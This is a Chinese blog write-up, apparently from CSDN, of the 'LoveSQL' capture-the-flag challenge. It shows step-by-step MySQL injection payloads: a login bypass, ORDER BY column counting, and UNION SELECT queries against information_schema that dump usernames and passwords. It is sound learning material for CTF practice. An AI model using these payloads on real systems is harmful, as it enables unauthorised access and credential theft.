[极客大挑战 2019]LoveSQL --不会编程的崽

文章介绍了作者在CTF中遭遇并解决SQL注入问题的经历,包括识别过滤、利用注入技巧和获取flag的过程。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

说实在的,我挖出过的第一个真实漏洞就是sql漏洞。但是ctf我最讨厌的也是sql漏洞。sql花样太多了,各种注入,过滤,哎。。。这也是我为什么一直没做sql题目的原因。但是既然选择玩ctf,还是要硬着头皮上,先来个简单的当做复习吧。

已经知道这是sql的题目了,直接注入吧。

sql第一步肯定要知道是否存在过滤的。这题是入门级别,没过滤啥东西。然后尝试闭合符号,而且这种登录框,一定要尝试万能密码 。

123' or 1=1#

如果使用双引号则返回错误。单引号闭合成功。这里也不能用'--+'注释后面的单引号。以后的sql都尝试一下就即可知道用哪个

给了我密码,最初以为是md5值,其实就是单纯的长密码QAQ。为什么要给admin的密码呢?我也不知道有什么用。。。反正我实验了一下,名字与密码都能注入,不管对错。。。我选择在密码里注入

接下来就直接看步骤吧

1' order by 4#

 

1' order by 3#

暴点 

1' union select 1,2,3#

查询数据库名称 

1' union select 1,database(),3#

 查询表名

1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='geek'#

 查询列名

1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='l0ve1ysq1'#

 查询表里数据

1' union select 1,group_concat(username),group_concat(password) from l0ve1ysq1#

这是最基础的mysql注入,如果不知道为什么这么构造payload简易学一下,不然很多东西看着还是很突兀的。还有就是最后一步一定要加上group_concat()以回显所有数据,因为表里边的数据很多,如果不加上只会回显第一行数据。

已经看见flag了,右键源代码复制粘贴即可 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值